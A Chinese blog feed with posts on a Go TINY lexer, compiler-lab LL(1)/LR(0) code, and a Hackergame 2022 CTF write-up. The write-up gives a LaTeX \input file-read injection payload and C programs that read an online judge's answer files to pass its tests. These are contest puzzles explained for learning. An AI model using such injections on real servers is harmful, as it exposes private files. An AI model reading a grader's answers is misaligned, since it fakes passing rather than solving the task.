注释由花括号包裹

示例程序：

pascal

{ Sample program
  in TINY language -
  computes factorial
} 
read x; {input an integer} 
if 0 <x then { don't compute if x <= 0} 
  fact := 1; 
  repeat 
    fact := fact * x; 
    x := x - 1 
  until x = 0; 
  write fact {output factorial of x} 
end

该书同时提供了TINY语言编译器的源代码，见此网站。

词法分析器

TINY语言的词法，书中已有明确的DFA描述。

TINY词法分析器包含于 scan.c 和 scan.h 中，可以直接参考实现。这个词法分析器由语法分析器调用，并不会一次把源文件扫完，而是调用一次获取一个token。这和下图中的配合方式有点像。

词法分析器中有三个函数：

getNextChar：读取下一个字符。它维护了一个 lineBuf，即当前正在读取的代码行，在当前行读完的时候，会自动读下一行。
ungetNextChar：撤销上个 “读取下一个字符” 操作。注意到上图的DFA中有几条 [other] 边，这类似于状态转换图中的星号，代表这条边只会 “peek” 而不会真正读进来。
GetToken：读取下一个token，然后返回类型。

在原来的代码中有一个线性查找保留词表的函数，但似乎可以直接用map替代掉。话说C++ STL不是有map吗？

var reservedWords = map[string]tokenType{
    "if":     ifToken,
    "then":   thenToken,
    "else":   elseToken,
    "end":    endToken,
    "repeat": repeatToken,
    "until":  untilToken,
    "read":   readToken,
    "write":  writeToken,
}

对于源文件的读入方式，我选择了使用 bufio.Scanner。这玩意可比 io.Reader 好用多了。

`getNextChar`

// getNextChar 从 lineBuf 中读取一个字符，
// 如果 lineBuf 为空则从输入流中读取一行
func getNextChar() (byte, error) {
    // 本行已经读取完毕
    if linePos >= len(lineBuf) {
        lineNo++
        ok := sourceScanner.Scan()
        if !ok { // 文件末尾
            err := sourceScanner.Err()
            if err == nil {
                // EOF 的话不会返回 err
                eof = true
                return 0, io.EOF
            } else {
                // 真的出现错误了
                lineBuf = ""
                linePos = 0
                return 0, err
            }
        }
        lineBuf = sourceScanner.Text()
        linePos = 1
        return lineBuf[0], nil
    } else {
        linePos++
        return lineBuf[linePos-1], nil
    }
}

这个Scanner的默认分隔符就是换行，如果读取到末尾，会返回一个false，然后没有err（想不通为什么不是 io.EOF）。

eof 的作用后面说。

`ungetNextToken`

// ungetNextChar 将 lineBuf 中的一个字符退回
func ungetNextChar() {
    if !eof {
        linePos--
    }
}

不加eof判断的话 GetToken 会一直读最后一个字母，停不下来。

`GetToken`

这个函数是一个完整的状态机实现，包含的状态如上面DFA所示，每次走到DONE就代表识别完成了一个token。代码太长了就不放在文章里了。

值得注意的是状态里面没有保留字，因为这个词法分析器会先将非数字开头的字符串作为变量名，然后检查是否匹配保留字，并据此返回词类型。

有一个 tokenString 变量，顾名思义。只有变量名和数字等才需要记录，而对于注释之类的对语义完全没有作用的东西可以直接忽略掉。

This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.

HNU 软件编译原理实验 2（Go 实现）

Wed, 12 Apr 2023 00:00:00 +0000

做这次实验有点难受，我不知道该怪罪Go的类型系统还是杨某人的面向对象结构。

代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。

cyp0633/compiler-lab

数据结构

产生式

Production 结构体与其说是产生式，不如说是产生式的右部，而直到LR(0) 项目中才记录了左部信息。

有两个特殊的文法符，$\epsilon$ 和 $#$，为了让它们在每一处都有相同的地址以方便比较，直接将定义写死在了代码里。

// epsilon 不属于非终结符，也不属于终结符！！！
// 看起来要用好多次，就先定义好了
var epsilonSymbol = GrammarSymbol{
    Name: "epsilon",
    Type: Null,
}

var endSymbol = TerminalSymbol{
    GrammarSymbol: GrammarSymbol{
        Name: "#",
        Type: Terminal,
    },
}

由于Go没有继承没有多态，只有嵌入以让一个结构体拥有另一个结构体的完整成员，那也无法使用一个 GrammarSymbol 指针指向终结符或非终结符。因此，在希望存储更多类型时，只能用一个 interface{} 解决。果然是著名的万物皆是interface。比如：

type NonTerminalSymbol struct {
    GrammarSymbol
    ProductionTable      []*Production               // 非终结符的产生式表
    NumOfProduction      int                         // 产生式数量
    FirstSet             map[interface{}]bool        // 该非终结符的 First 函数值
    FollowSet            map[interface{}]bool        // 该非终结符的 Follow 函数值
    DependentSetInFollow map[*NonTerminalSymbol]bool // 该非终结符的 Follow 函数中依赖的非终结符
}

而这里就带来了一个问题：interface{} 完全没有类型检查，可以放指针，也可以放结构体本身。这就要求类型检查覆盖到不正常的情况，算了，大道至简嘛——

go的教徒还住着毛坯房，毕竟大道至简

V2EX 网友

不过可以规定，此处的 interface{} 里存的全都是指针，并且代码实现保证同一个语法符仅存一份（即不会存在对象相同但指针不同）。

follow 依赖的非终结符完全没用过，倒不是说没用，而是觉得没必要。后面直接算的是所有非终结符的 follow。

LL(1)

LL(1) 分析表并没有使用预定义的cell，毕竟通过遍历一个slice查表的操作未免太不优雅了。

var LL1AnalysisTable = map[struct {
    *NonTerminalSymbol
    string
}]*Production{}

这里嵌入了一个匿名结构体，key的两个scope分别为非终结符和向前看的下一个语法符，value为对应的产生式。

LR(0)

和上面同理，既然项目集的本质是一个集合，就没必要使用数组这么傻的东西。

type ItemSet struct {
    // 状态序号
    ID int
    // LR(0) 项目表（其实是个集合）
    ItemTable map[LR0Item]struct{}
}

同时也直接砍掉了那几个cell，对LR(0) 分析表可以直接使用map映射。如下是 $\text{ACTION}$ 表的定义，用了两个匿名结构体。$\text{GOTO}$ 表定义同理。

// LR Action 表
// 由状态 ID 和终结符名称，到动作类型和编号的映射
var ActionTable map[struct {
    // 当前栈顶状态序号
    StateID int
    // 待读入的终结符名称
    TerminalSymbolName string
}]struct {
    // 动作类型
    Type ActionCategory
    // 动作编号，如归约的产生式编号和移进的下个状态
    ActionID int
}

同样能使用map优化的还有自动机的边表。一般的查询都是根据起始状态和驱动符查找到达状态的，使用map会快很多。

// LR(0) 自动机
var DFA struct {
    // 开始项集
    StartItemSet *ItemSet
    // map 优化的变迁边表
    // 通常查询更快，极端情况下也不会更慢
    EdgeSet map[TransitionKey]*ItemSet
}

方法

产生式

定义了终结符、非终结符和产生式的 First 函数。对于终结符，可以直接返回包含自己的集合。而对于非终结符，

不要忘了如果 First 已经计算完成，就不要再算一次了，毕竟值都存储到了对应的数据结构中。

而在 Follow 函数中，关于是否有新的加入，个人使用的是比较插入前后map长度变化，不过先检查key是否存在似乎更快点。

在这里引入了一个库：github.com/google/go-cmp/cmp，它能够提供比 reflect.DeepEqual 更好的比较。如果是两个指针，前者会比较指向的内容，而后者只比较地址。如计算产生式的 First 函数时：

    // 只有 epsilon，就直接返回
    if p.BodySize == 1 && cmp.Equal(p.BodySymbol[0], &epsilonSymbol) {
        return map[interface{}]bool{&epsilonSymbol: true}
    }

由于每次添加 $\epsilon$ 时都是引用了同一个实例，所以这么比较没什么问题。只是听说Go的反射挺慢的，这个怕不是会更慢……

说到反射那当然还是要用的，因为又回到了没有多态的问题。不像其他语言，基类指针可以访问基类的内容，Go仅凭一个 interface{} 根本无法获取它的真正类型。于是，如 Follow 初始化时添加非终结符的操作：

    // 初始化 FOLLOW 集合
    for _, A := range GrammarSymbolTable {
        // 如果不是非终结符，跳过
        if reflect.TypeOf(A) != reflect.TypeOf(RootSymbol) {
            continue
        }
        A.(*NonTerminalSymbol).FollowSet = make(map[interface{}]bool)
    }

使用反射就可以轻松判断真实类型了，当然也可以像是在非终结符 First 函数中，寻找 $\epsilon$ 产生式的代码这样：

    // 寻找 epsilon 的产生式（仅含 epsilon）
    for _, p := range nt.ProductionTable {
        if p.BodySize == 1 {
            symbol, ok := p.BodySymbol[0].(*GrammarSymbol)
            if ok && symbol.Type == Null { // 为什么不能放到一个 if 里啊！！！
                // 如果存在将 epsilon 加入该非终结符的 First 函数值
                nt.FirstSet[&epsilonSymbol] = true
            }
        }
    }

（现在我们知道，当然是可以放在一个if里的，用反射就优雅多了）

在求产生式的非终结符时，需要求某产生式右部某一部分的 First 函数。此处选择构造一个产生式求 First，然后一切交给GC，应该不会存在重复计算过多的问题。

                    // 先看成 A \Rightarrow \alpha B \beta，求 FIRST(\beta)
                    // 将 \beta 部分组合成一个产生式
                    tempProduction := Production{
                        BodySymbol: production.BodySymbol[index+1:],
                        BodySize:   len(production.BodySymbol[index+1:]),
                    }
                    betaFirst := tempProduction.First()

LL(1)

检测左递归使用的是DFS方法，每一层对某个特定非终结符的所有产生式进行搜索，在搜索路径上维护一个map，记录非终结符的出现与否（毕竟只有非终结符才有左递归这回事），思想比较像递归子程序法。如果当前非终结符已经处于那个map中，就代表有左递归。这样能同时检测直接和间接的左递归。

// 对所有非终结符检测左递归
func CheckLeftRecursion() (ret bool) {
    return checkLeftRecursion(make(map[string]bool), RootSymbol)
}

// 使用 DFS 检测左递归，rec 用于记录已经检测过的非终结符
func checkLeftRecursion(rec map[string]bool, curr *NonTerminalSymbol) bool {
    // 如果已经检测过，返回
    if rec[curr.Name] {
        return true
    }
    // 否则加入 map
    rec[curr.Name] = true

    for _, production := range curr.ProductionTable {
        // 长度为 0，返回
        if len(production.BodySymbol) == 0 {
            continue
        }
        // 是非终结符
        if symbol, ok := production.BodySymbol[0].(*NonTerminalSymbol); ok {
            if checkLeftRecursion(rec, symbol) {
                return true
            }
        }
    }
    return false
}

消除左递归其实就是套课本上的算法了，没有什么好说的。

检测左因子就是对某个非终结符的所有产生式首语法符进行查重，重点在 “有没有”，而提取左因子面临着一个取舍，在同一次提取中，无法既对尽量多的产生式进行提取，又提取出尽量长的公因子。在这篇博客中介绍了一种通过树实现的算法，不需要考虑取舍也不需要进行多次提取。

多好的算法啊，可惜有点复杂，我还是老老实实多次提取吧（然而还是100多行）。基本思想：

循环提取，直到检测不到左因子
先检测开头的因子是否有重复，确定首公因子之后再尝试延长公因子。如对于1123、114和514，先确定提取开头的1，然后延长到11
倾向于提取更多产生式的左因子（而不是提取更长的左因子），包括每次选择包含产生式最多的公因子进行提取（如123、145、245、255、244中提取2，因为有2的多于有1的），以及延长时遇到无法延长的产生式时直接放弃（如1123、1134、11156、11145只会延长到11，而不会放弃前两个来提取111）

另外还要注意新产生式为空时epsilon的问题。新非终结符的产生式和被移除的产生式序号一一对应，也可以重复利用。实在看不懂就看代码吧……

LL(1) 分析表的构造也是课本上就有的算法了，实现起来难度也不高。

LR(0)

LR(0) 写起来真的让我血压高，穷举变迁时已经得到了从哪个状态来、借由某个驱动符、到哪个状态去的信息，但却要再写一个求解DFA，再求一次变迁…… 真的不优雅，想了好久如何把它变得快一点，然后失败了。

求解变迁时常用的是直接调Goto函数，而这里由于是对某个项目集所有的项目求对应的变迁，所以不需要两层循环，直接一层循环即可。这里提前新建一个map newItemSets，对每个驱动符映射到其GOTO状态对应的项目集，对每个非归约项目直接把点后移之后加入新项目集就行了，遍历完成后，核心项就都有了。

    // 遍历项目集中的每个项目
    // 此处并不需要驱动符一层项目再一层，省点时间
    for item := range itemSet.ItemTable {
        // 如果已经是归约 / 接受项目（A \to \cdot \alpha），则不需要变迁
        if item.DotPosition == len(item.Production.BodySymbol) {
            continue
        }
        // 取出该驱动符对应的项目集
        itemSet := newItemSets[item.Production.BodySymbol[item.DotPosition]].ItemTable
        // 将项目 item 的点后移一位
        // 新的项目！
        item1 := LR0Item{
            NonTerminalSymbol: item.NonTerminalSymbol,
            Production:        item.Production,
            DotPosition:       item.DotPosition + 1,
            Type:              CoreItem, // 一定是核心项啦
        }
        // 将新项目加入项目集
        itemSet[item1] = struct{}{}
    }

至于求解DFA嘛，其实也就大差不差了，我甚至复制了一大段代码。

在SLR(1) 的检查之中，可以使用一个map（set）存放归约项集的各个左部（即 $A \to \alpha \cdot$ 的 $A$），一个map存放移进项集对应的驱动终结符集（即 $A \to \alpha \cdot a \beta$ 的 $a$），更方便计算交集。

接下来是构造LR分析表，我也不知道杨某人这句话是什么意思，那就先填个LR(0) 吧。

四个if-else让人血压挺高的，你问我为什么不用switch？因为case里面不能声明局部变量，所以 case symbol, ok := item.Production.BodySymbol[item.DotPosition].(*TerminalSymbol); ok 这样的判断就写不出来，着实不太方便。

        for item := range itemSet.ItemTable {
            // 判断项目类型
            // 为什么不用一个 switch？因为特么的 go 不支持 switch 里做声明
            if item.NonTerminalSymbol == RootSymbol && item.DotPosition == len(item.Production.BodySymbol) {
                // 接受项目 S' \to S \cdot
                // ACTION[i,#] = accept
                // code...
            } else if item.DotPosition == len(item.Production.BodySymbol) {
                // 归约项目 A \to \alpha \cdot
                // 对所有非终结符 a 或 #，ACTION[i,a] = reduce j
                // code...
            } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*TerminalSymbol); ok {
                // 移进项目 A \to \alpha \cdot a \beta
                // action[i,a] = shift j
                // code...
            } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*NonTerminalSymbol); ok {
                // 待约项目 A \to \alpha \cdot B
                // goto[i,B] = j
                // code...
            }
        }

This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.

HNU 软件编译原理实验 1（Go 实现）

Sat, 25 Mar 2023 00:00:00 +0000

真不巧，这个学期看起来又是一套自编新实验。虽然下面这段话有待商榷，但为了分，总不能不做吧。

不自己经历一次TINY语言的编译器构造过程，就等于没学这门课。经历过了，而且走通了，你就从现在的1/100, 飞跃到了1/3000，甚至1/10000。毕业后，你就拿着这个名片去华为，去阿里，去腾讯，去百度找工作，或者去北大，清华，上海交大，北航这些学校读研，绝对没问题。这个名片要比现在所谓的竞赛获奖的含金量大得多，别人相信得多。为什么？因为招聘官或者老师都是过来人，都知道编译技术是最难学的知识，没几个人真正学懂。现在你真正学懂了，别人刮目相看。

杨某人《编译技术课程试验指导书（2022版）》

代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，可以对比阅读。

文章并未完成，而且 ~~不知道什么时候会施工完成~~ 应该弃坑了，不过代码写完了。

cyp0633/compiler-lab

从 “最简DFA构造法” 说起

构造DFA的方法算是本实验的前置知识，而杨某人自创的 “最简DFA构造法“并不是龙书提到的Thompson构造法。而要理解最简构造法，需要先理解” 原生构造法“。

原生构造法的核心思想是将正则表达式拆成多个基本运算，再将这些基本运算逐步组合成NFA。

比如正则表达式 $r \to a^+b^+$，可以拆分为 $r_1 \to a$、$r_2 \to b$、$r_3 \to r_1^+$、$r_4 \to r_2^+$、$r_5 \to r_3r_4$ 这五个正则表达式。然后将其各自转化为NFA。

在绘制 $r_3$ 对应的NFA时，将 $r_1$ 代入，并将整个NFA看作是一个状态 / 一个转换，下同。最后组合到 $r_5$ 即可得到 $r$ 的NFA。

而杨某人认为，一些空转换的作用仅仅是防止过度的反向转换。根据不同的出入边状况，自然构造法中的空转换可以省掉，以在防止倒灌（指顺着回边返回太远）的同时得到更简单的NFA。

连接

当 $s$ 有出边，$t$ 有入边时，在 $s$ 结束状态和 $t$ 开始状态处加入一个空转换。

否则，与Thompson构造法一致，$N(s)$ 的结束状态和 $N(t)$ 的开始状态重合。

Kleene闭包

有入边，有出边：同Thompson构造法
有入边，无出边：可以省掉后面的空转换
无入边，有出边：可以省掉前面的空转换
无入边，无出边：不需要空转换

当 $s^*$ 的NFA只含一个开始、一个接受状态，且无出入边时，可以缩成一个状态。

0或1个 $s?$

就是把Kleene闭包的顶上那一个空转换去掉，阻止继续接受即可。

并 $s|t$

当 $s$ 和 $t$ 都没有入边和出边时，转换如图所示。

如果 $s$ 或 $t$ 中任何一个有出入边，则先对其进行改造：

有入边，无出边：在前面加空转换
无入边，有出边：在后面加空转换
有入边，有出边：在两边各加一个空转换

另外还有带category属性的接受状态，需要在后面加一个空状态作为新的接受状态，以防止合并时category属性丢失。

数据结构

杨某人定义的一堆对象，在Go里当然不能继续用了。还好实验一没有继承多态类型推断之类的（实验二就有了），不然工作量又要暴涨。

字符集

字符集和字符集表

一个” 字符集 “代表的其实是一个字符集段，对于同一个字符集，可能会在 CharsetTable 内有多个 Charset 项，通过 SegmentID 相区分。

本实验的代码中，会保证每个字符集中，段不重合且按字符序递增。

正则表达式

操作数类型

Go的枚举确实有点太弱了，没办法。定义一个新类型，不过这个也算不上限制，可以随便赋值。

词素类型

可以定义一个 String() 方法，以打印其名字。

图（NFA、DFA）

这个就没啥好说的了……

方法

字符集

生成一个字符集

输入两个字符，输出一个index ID。

字符与字符的并运算

分两种情况，相等（返回一段）或不相等（返回两段）。也可以合并。

字符与字符集的并运算

题意要求，返回的必须是新字符集，其实这也为我们降低了难度，毕竟不用考虑插入段的复杂性。那就可以先将旧的字符集拷贝一份。

第一轮遍历，寻找可以包含的原字符集段，如有，就不用再合了。

第二轮遍历，寻找挨着边界的原字符集段，也就是 fromChar-1 或者 toChar+1，直接边界 +-1即可，不需要新段。

之后第三轮遍历，找到合适的位置，插入新段，然后将后面段的 SegmentID+1。

单元测试

This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.

USTC Hackergame 2022 一游 & 部分题目 Writeup

Sat, 29 Oct 2022 00:00:00 +0000

又是一年Hackergame，我这个菜鸡又来被虐了。

如果有读者想看完整且严谨的Writeup，建议移步官方 GitHub，本文章仅图一乐。

签到

一开始的思路是想办法修改时间限制，使得时限内也能签出2022。但找了一圈发现超出了自己的知识范围，遂作罢。

之后随意点了一下提交，URL中出现了一个query string，value和识别结果不能说相似度很高吧，只能说完全一样。这和去年的签到题有点相像，都是通过修改URL的query string来拿到正确的token。

将value修改为2022，根本不用画，就拿到了token。

PS：2022年的网页竟然还在用Vue 2……

猫咪问答喵

灌注关注taffy喵，关注taffy谢谢喵。

一如既往是非USTC学生也能做，但出题人似乎在努力平衡校内校外人的难度。

1

直觉当然是前往中科大信安协会官网寻找信息，但即使动用了Wayback Machine也并没有什么收获（而且这两个组织竟然是分立的）。

后来发现只需Google一下，在学校新闻网上就可以找到是2017年3月。

2

虽然问的是演讲内容，但是完全不需要找USTC的资料。KDE 的程序就那么多，可以直接枚举得到结果。枚举到Kdenlive发现答案正确，搜索发现在描述的场景下确实有显示问题。

3

找到 Firefox version history 页面，可以看到 “Firefox 12 is the final release to support Windows 2000 and Windows XP RTM & SP1.”

此外也可以直接搜索 “firefox drop support for windows 2000”，然后找到 Mozilla 的公告。

4

开头先Google “linux kernel argc zero”，找到对应的 LWN 新闻。通读“towards a general fix” 部分，发现Ariadne提出了一个修复方案，而Torvalds本人是倾向于这个方案的。从这部分的链接进入 commit 的详情，发现修改的是fs/exec.c，合入主线时的修改应该也修改了此文件。合入主线的日期肯定晚于2022/1/26，即这个commit的日期。

然后找到kernel.org中kernel/git/torvalds/linux.git（不要找GitHub），找到fs/exec.c的修改log，然后从上面的日期往后找。找到这个 commit，标题中的argv is empty正好对应了argc为0，上面也附有Ariadne的说明。填进去Hash为 dcd46d897adb70d63e025f175a00a89797d31a43，正好对了。

对OS熟悉的读者或许能够直接推断出argv is empty这另一种说法，用这个直接Google能更快找到答案。

5

这道题非常有迷惑性，很容易将研究导向错误的方向。但是，遵循着猫咪问答的传统——考察搜索技能，找到答案和密码学知识其实没有半毛钱关系。更何况，懂密码学也没法在这个方向搞出答案。

很容易将MD5直接使用Google搜索，但搜索框会识别一些以冒号开头的命令（如site:cyp0633.icu），所以Google很容易将冒号分隔的词语各作为一个关键词而搜索。而将关键词使用双引号括起来能够禁止转义，或者使用 Google 高级搜索，使用” 与以下字词完全匹配”功能。

搜索结构中很容易找到一段 SSH 日志（如果没有结果，删掉开头的 MD5:），从日志中可以找到一个Host IP地址205.166.94.16，使用SSH连接，提示信息如下：

The authenticity of host ‘205.166.94.16 (205.166.94.16)‘can’t be established. ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])?

正好是我们所要的MD5（如果是SHA256，使用 ssh -o FingerprintHash=md5）。使用IP访问网页，能够找到页面上一个域名sdf.org，对应的就是这个IP地址。

综上，答案为sdf.org。在WHOIS上查询，确实是1996年10月12日创建的。

6

此处百度搜索起来效率更高，Google索引不到什么东西。

这题也有比较大的迷惑性。很容易我们可以找到中科大网络信息中心网站，此处展示了中科大历年的网络方面通知文件。我们可以找到两个 “关于实行新的网络费用分担办法的通知”，一个发布于 2003 年，另一个发布于 2010 年。

但是，后者并没有针对网络通服务定价作出什么修改，也就是说 “20元一月” 的定价并不是从此时开始的。找到另一个文件，提到“网络通自2003年3月1日起开通”，国际连接也是20元一月，所以本题答案为2003-03-01。

家目录里的秘密

拿到压缩包，直接使用VS Code全目录搜索 flag，第一个flag就在. config/Code/User/History/2f23f721/DUGV.c里。

第二个flag与Rclone有关，而这个压缩包内与Rclone有关的文件就是. config/rclone/rclone.conf。这里面保存了一份使用Rclone连接一个FTP服务器的配置文件，然而文件夹中并没有办法找到example.com具体指的是什么，加之题目上也说在压缩包里找flag，就并不应该试图努力从远程服务器拿flag。秘密应该在 pass 字段里。

联想到FTP连接是需要把密码还原出来的，所以这个 pass 应该是使用了对称式加密。在一篇社区文章里证实了我的想法，使用的是AES加密；而通过搜索 “decrypt rclone pass” 之后找到了另一篇社区文章，贴出了一段代码，能够将 pass 解密。按照帖子中的指引操作即可，解出来正好是flag。

有意思的是，第二篇帖子在10月20日发布，不由得让人猜想这其中的关联性。

HeiLang

到了第一天晚上才做出来，咕咕咕了大半天，转发抽一人送一个AirPods Pro（bushi）。

手撸了一个简单的translator，将HeiLang转换为Python。非常不优雅而且低效，但能用。

python

f=[]
out=open("getflag.py","w")
with open('./getflag.hei.py') as file:
    f=file.readlines()

for i in f:
    if i[:2]=='a[':
        eq=i.rfind('=') # 查找等号的位置
        result=int(i[eq+2:].strip()) # 获取数字
        i=i[2:eq-2]
        nums=i.split('|') # 分割数字
        for n in nums:
            index=int(n.strip()) # 获取下标
            out.write("a[{}] = {}\n".format(index, result))

    else:
        out.write(i) # 非赋值语句，直接写入

把它运行一遍，看看输出内容，你就知道它的工作原理了。

这段代码写得贼累，求赞求投币求转发，最重要的是点一个大大的关注，后面我忘了（逃

Xcaptcha

逻辑比较简单，请求题目就对 /xcaptcha 发送GET请求，请求时需提交Cookie以便于识别个人Token。提交结果时，就对 /xcaptcha 发送POST请求。要带上刚刚GET请求的Cookie，否则无法对应刚刚获取的题目。

刚开始使用浏览器JavaScript断点捕获了一套题目，做出来之后再通过Postman发送POST提交，却会提示超时，这意味着我们必须使用程序自动化提交。

考虑到得到的字符串中含有中文，而且还包含整个算式，我想了想，还是用Python比较舒服。程序如下：

python

import requests
import re

url="http://202.38.93.111:10047/xcaptcha"
headers={
    "Cookie":r"your-cookie",
}

r=requests.get(url,headers=headers)
newCookie=r.headers["Set-Cookie"]

ans=[]

pattern=re.compile(r'<label for="captcha\d">.+<\/label>') # 匹配题目部分
captcha=pattern.findall(r.text)
for c in captcha:
    c=c[22:-14] # 去掉标签
    print(c)
    ans.append(eval(c))

data={
    "captcha1":ans[0],
    "captcha2":ans[1],
    "captcha3":ans[2],
}

headers["Cookie"]=newCookie
r=requests.post(url,headers=headers,data=data)
print(r.text)

然后只需要从输出的内容中将赤裸裸的flag粘进去就行了。

Headless browser and requests are all your friend

旅行照片2.0

又到了和去年一样的社工环节，不同的是今年有100分可以直接读EXIF骗过来。太简单就不讲了。

邮政编码可不一定是中国大陆的，照片中出现了 “welcome to zozomarine stadium” 字样，搜索发现是在日本千叶，进一步，很容易推断出拍摄者身处 “アパホテル＆リゾート〈東京ベイ幕張〉”。但是体育馆和酒店的邮编并不相同，所以答案为2610021。

熟悉手机的人可以一眼看出机型是红米Note 9 4G，而对于其他人，手机分辨率的突破口其实仍然是EXIF。相机型号未给出准确值（可能用了谷歌相机之类的），但SM6115代表骁龙662，再搭配小米品牌的条件就不难找到了，这是一块2340*1080的屏幕。

然后通过地图搜索机场，附近东京都市圈内的机场有成田和羽田两座。成田机场在球馆背侧，跑道大致南北向，所以通过的飞机不应该在图中；那剩下的就是羽田机场（IATA: HND）可能性最大。

飞机像是在起飞，所以起飞机场就是HND。寻找数月之前的航班难度较大，而鉴于5月14日是周六，我们可以尝试搜索10月22日（同是周六）18点23分之前起飞的航班。

方法很简单，一个一个往前试。最终试到了NH683，由HND飞往HIJ。

猜数字

研究了一下请求，通过对 /status 的POST提交结果，然后再对 /status 进行一次GET来获取服务器反馈。

结合题目描述的大数定律（我概率论真的不好），那确实是收敛于某个值？于是用Python写了个暴力猜数程序，试图找找规律。

python

import requests

nums=[]

cookie={}
header={
    "Authorization":"Bearer your-token",
}

url="http://202.38.93.111:18000/state"

for i in range(0,100):
    min=0.0
    max=1.0
    resp=requests.get(url,headers=header,cookies=cookie)
    while(1):
        max=round(float(max),6)
        min=round(float(min),6)
        sendNum=round((max+min)/2.0,6)
        resp=requests.post(url,headers=header,cookies=cookie,data="<state><guess>{}</guess></state>".format(sendNum))
        print(" 尝试 {},max={},min={}".format(sendNum,max,min),end="")
        resp=requests.get(url,headers=header,cookies=cookie)
        print(resp)
        if resp.text.find("<talented>1</talented>")!=-1:
            print(" 已经达成一次猜出数字，正在退出")
        elif resp.text.find("less=\"false\"more=\"false\"")!=-1: # 猜对了
            nums.append(sendNum)
            print(" 猜对了，数字为：{}\n====================================".format(sendNum))
            break 
        elif resp.text.find("less=\"true\"more=\"false\"")!=-1: # 猜小了
            min=sendNum
            print(" 猜小了，数字为：{}".format(sendNum))
        elif resp.text.find("less=\"false\"more=\"true\"")!=-1: # 猜大了
            max=sendNum
            print(" 猜大了，数字为：{}".format(sendNum))
        elif resp.text.find("less=\"true\"more=\"true\"")!=-1:
            print(" 猜错了，数字为：{}".format(sendNum))
        else:
            nums.append(sendNum)
            print(" 未知错误，应该是猜对了："+resp.text+"\n====================================")
            break
    print(" 当前已经猜对的数字有：{}".format(nums))
print(nums)

但并没有找到什么规律。

LaTeX机器人

纯文本

一看到能够自由输入内容，就想到了某种注入。但阅读Dockerfile，进行本地转换部分的命令似乎没有什么可以自由发挥的空间，就放弃了在Shell中注入的计划。

转念一想，LaTeX语法是可以包含其他文本文件的，语法为 \input{filepath}。于是输入 \input{/flag2}，弹出的信息就是Flag…… 吗？

不完全是。LaTeX自带转义，只需要在合适的地方加上花括号就行了，具体位置可以仿照之前的Flag。

特殊字符混入

此题仍然可以使用 \input 解决，但是要小心两种控制字符的转义。LaTeX的控制字符可以使用 \catcode 指令禁用（参考），不过此处只需要禁用 # 和 _，剩下两个不必要。构建的字符串如下。

text

`1`	\catcode `\#=12\catcode `\_=12\input{/flag2}

那这题的难度在哪里呢？我想，应该是对LaTeX各种术语的熟悉吧，比如不知道 “控制字符”(control character) 就没法搜出对应的方法。

安全的在线测评

在看到题之后，就隐隐约约感觉到，当年打NOIP敢想却没条件做的事情——直接读答案输出，说不定就是这道题的正解。又想到成熟的OJ，例如青岛大学的 OJ，对这种情况都有相应的防范措施，而这个判题脚本又显得过于简单，应该八九不离十。

评测机的工作目录树大概是这个样子：

text

.
├── data
│   ├── dynamic\*.in
│   ├── dynamic\*.out
│   ├── problem.txt
│   ├── static.in
│   └── static.out
├── online\_judge.py
├── README.md
└── temp
     ├── code.c
     └── temp\_bin

无法AC的题目

这里我们的目标是读取 ./data/static.out 的内容，然后输出。注意程序运行的目录并不是在 temp 里。很容易得到以下的代码：

#include<stdio.h>

int main(int argc, char *argv[])
{
    FILE *fp;
    char buf[100];
    fp = fopen("./data/static.out", "r");
    while (fgets(buf, 100, fp) != NULL)
        printf("%s", buf);
    fclose(fp);
    return 0;
}

当然这样只能读到静态数据的输出，后面的显然会WA。

如果使用判题脚本测试时，正解也RE，可以将44行改为 [path,]，这是机器上没有runner账户造成的。

动态数据

一开始以为思路其实是差不多的，都是读答案。但为了判断用哪个答案对应的输出，还需要同时读取输入文件进行比对。但是生成的动态数据权限均为700，这意味着评测机上 runner 账户运行的程序无法直接读取答案。

所以有了一份本地能过，云端却过不了的代码，仅供取笑：

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    FILE *fp;
    // read input from stdin to char static_in[]
    char buf[1000];
    memset(buf, 0, 1000 * sizeof(char));
    fgets(buf, 1000, stdin);
    // remove \n
    if (buf[strlen(buf) - 1] == '\n')
    {
        buf[strlen(buf) - 1] = '\0';
    }
    // read from ./data/static.in
    char static_in[1000];
    memset(static_in, 0, 1000 * sizeof(char));
    fp = fopen("./data/static.in", "r");
    fgets(static_in, 1000, fp);
    if(static_in[strlen(static_in) - 1] == '\n')
    {
        static_in[strlen(static_in) - 1] = '\0';
    }
    fclose(fp);

    // compare input with static.in
    if (strcmp(buf, static_in) == 0)
    { // static data
        // read from ./data/static.out (multi line) and print
        fp = fopen("./data/static.out", "r");
        while (fgets(buf, 1000, fp) != NULL)
        {
            printf("%s", buf);
        }
        fclose(fp);
        return 0;
    }

    char path[1000];
    memset(path, 0, 1000 * sizeof(char));
    for (int i = 0; i < 5; i++)
    {
        sprintf(path,"./data/dynamic%d.in", i);
        fp = fopen(path,"r");
        // read from fp and compare with buf
        memset(static_in, 0, 1000 * sizeof(char));
        fgets(static_in, 1000, fp);
        if(static_in[strlen(static_in) - 1] == '\n')
        {
            static_in[strlen(static_in) - 1] = '\0';
        }
        fclose(fp);

        if (strcmp(buf, static_in) == 0)
        { // dynamic data
            // read from ./data/dynamic.out (multi line) and print
            sprintf(path,"./data/dynamic%d.out", i);
            fp = fopen(path,"r");
            while (fgets(buf, 1000, fp) != NULL)
            {
                printf("%s", buf);
            }
            fclose(fp);
            return 0;
        }
    }
}

线路板

真没想到工训过了这么长时间，还能用得上这玩意。首先需要下载一个 KiCad。

打开KiCad的Gerber文件查看器，打开从网站上下载的zip文件，就可以看到Gerber文件的预览了。

一开始当然不是上面那个样子的，可以在右侧边栏的第6层（Copper L1）上右键，选择隐藏其他层。

但是Gerber又不能通过编辑把过孔去掉，此时可以使用 “文件 - 导出到PCB编辑器”，然后再用KiCad PCB编辑器打开。运气好，打开顶部铜层就看到了flag。

微积分计算小练习

经典的微积分题和微积分没关系。为了这道题我把XSS学了一遍。

